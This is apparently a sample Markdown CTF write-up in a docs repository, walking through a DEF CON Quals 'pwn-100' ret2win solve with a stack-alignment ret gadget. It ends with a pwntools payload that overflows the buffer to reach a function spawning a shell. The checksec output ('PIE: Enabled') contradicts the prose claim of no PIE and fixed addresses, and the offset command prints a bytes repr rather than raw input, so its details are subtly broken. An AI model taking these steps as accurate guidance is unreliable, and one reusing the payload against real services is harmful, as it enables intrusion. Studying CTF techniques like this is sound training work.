Files
mcpedia/content/writeups/ctf/defcon-quals-2024/pwn-100-ret2win-alignment.md
T
asepharyana c760c3c087
CI / typecheck + build (turbo) (push) Canceled after 0s
feat(core): dynamic custom frontmatter fields for CTF writeup metadata
- Add extra_fields JSONB column to documents table (migration 0003)
- CreateDocInput/UpdateDocInput: extraFields?: Record<string, string>
- parseFile: extracts non-standard frontmatter keys as extraFields
- stringifyFile: writes extraFields dynamically to YAML frontmatter
- toMeta: spreads extraFields from DB row into DocumentMeta
- DocForm: '+ Add field' UI for content creators to add any metadata
- API routes: splitPayload() separates standard vs custom fields
- Doc page: CustomFieldBadges dynamically renders any custom field
- Add db:migrate / db:push scripts + deploy workflow migration step
- Add CTF writeup template (content/writeups/ctf/template/)
- Add sample DEF CON writeup with event/challenge/category/difficulty/points
- Add @tailwindcss/typography for table rendering (prose classes)
- Add remark-gfm for GitHub Flavored Markdown table parsing
2026-08-20 23:18:57 +07:00

3.0 KiB

id, title, type, tags, status, author, event, challenge, category, difficulty, points, created_at, updated_at
id title type tags status author event challenge category difficulty points created_at updated_at
defcon-pwn-100 DEF CON Quals 2024 — pwn-100: ret2win Stack Alignment Fix writeup
ctf
pwn
binary-exploitation
stack-alignment
published asep DEF CON CTF Quals 2024 pwn-100 pwn easy 100 2026-08-20 2026-08-20

DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix

Challenge Info

Field Value
Event DEF CON CTF Quals 2024
Challenge pwn-100
Category pwn
Difficulty easy
Points 100

Initial Recon

Given a 64-bit ELF binary with a trivial buffer overflow in vuln():

$ checksec pwn-100
RELRO           STACK canary: No           NX: No           PIE: Enabled   RPATH: No
$ file pwn-100
pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
$ objdump -d pwn-100 | grep -A5 '<vuln>'

Approach

Classic ret2win — overflow the return address to jump to win(), which calls system("/bin/sh"). The binary had no canary and no PIE on the binary itself (function addresses are fixed), but glibc on the host was 2.34+.

Step-by-Step Solve

1. Find the offset

Sent cyclic pattern via pattern create + pattern offset:

$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
Segmentation fault (core dumped)
$ gdb -q
gef➤  pattern offset 0x4242424242424242
[*] Found possible needle

Offset = 40 bytes (to rip).

2. Find win() address

$ objdump -d pwn-100 | grep '<win>'
0000000000401196 <win>:

win() is at 0x401196.

3. Craft and send the payload

Initial payload was just padding + win() address — but this crashed with SIGSEGV inside win() → printf.

Root cause: On glibc 2.34+, the return into a libc-using function needs 16-byte stack alignment. A normal call pushes 8 bytes, so ret-ing into win() leaves rsp % 16 == 8. When printf inside win() does movaps (SSE), it faults on misaligned address.

Fix: Insert a ret gadget (8 bytes) between padding and win() to realign RSP:

$ ROPgadget --binary pwn-100 | grep " ret$"
0x0000000000401016: ret;

Final payload:

from pwn import *
p = remote("challenge.url", 1337)
payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
p.sendline(payload)
p.interactive()

The ret gadget pops the extra 8 bytes, aligning the stack. After that, win() → printf → system("/bin/sh") works cleanly.

Flag

flag{ret2win_stack_alignment_glibc_2.34}

Summary

  • A bare ret2win without stack alignment crashes on glibc 2.34+ inside the target function's libc calls (SSE movaps).
  • The fix is a single ret gadget between padding and win() — not an offset error.
  • Always check: if the function IS reached but crashes inside it, think stack alignment before re-counting bytes.
  • Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.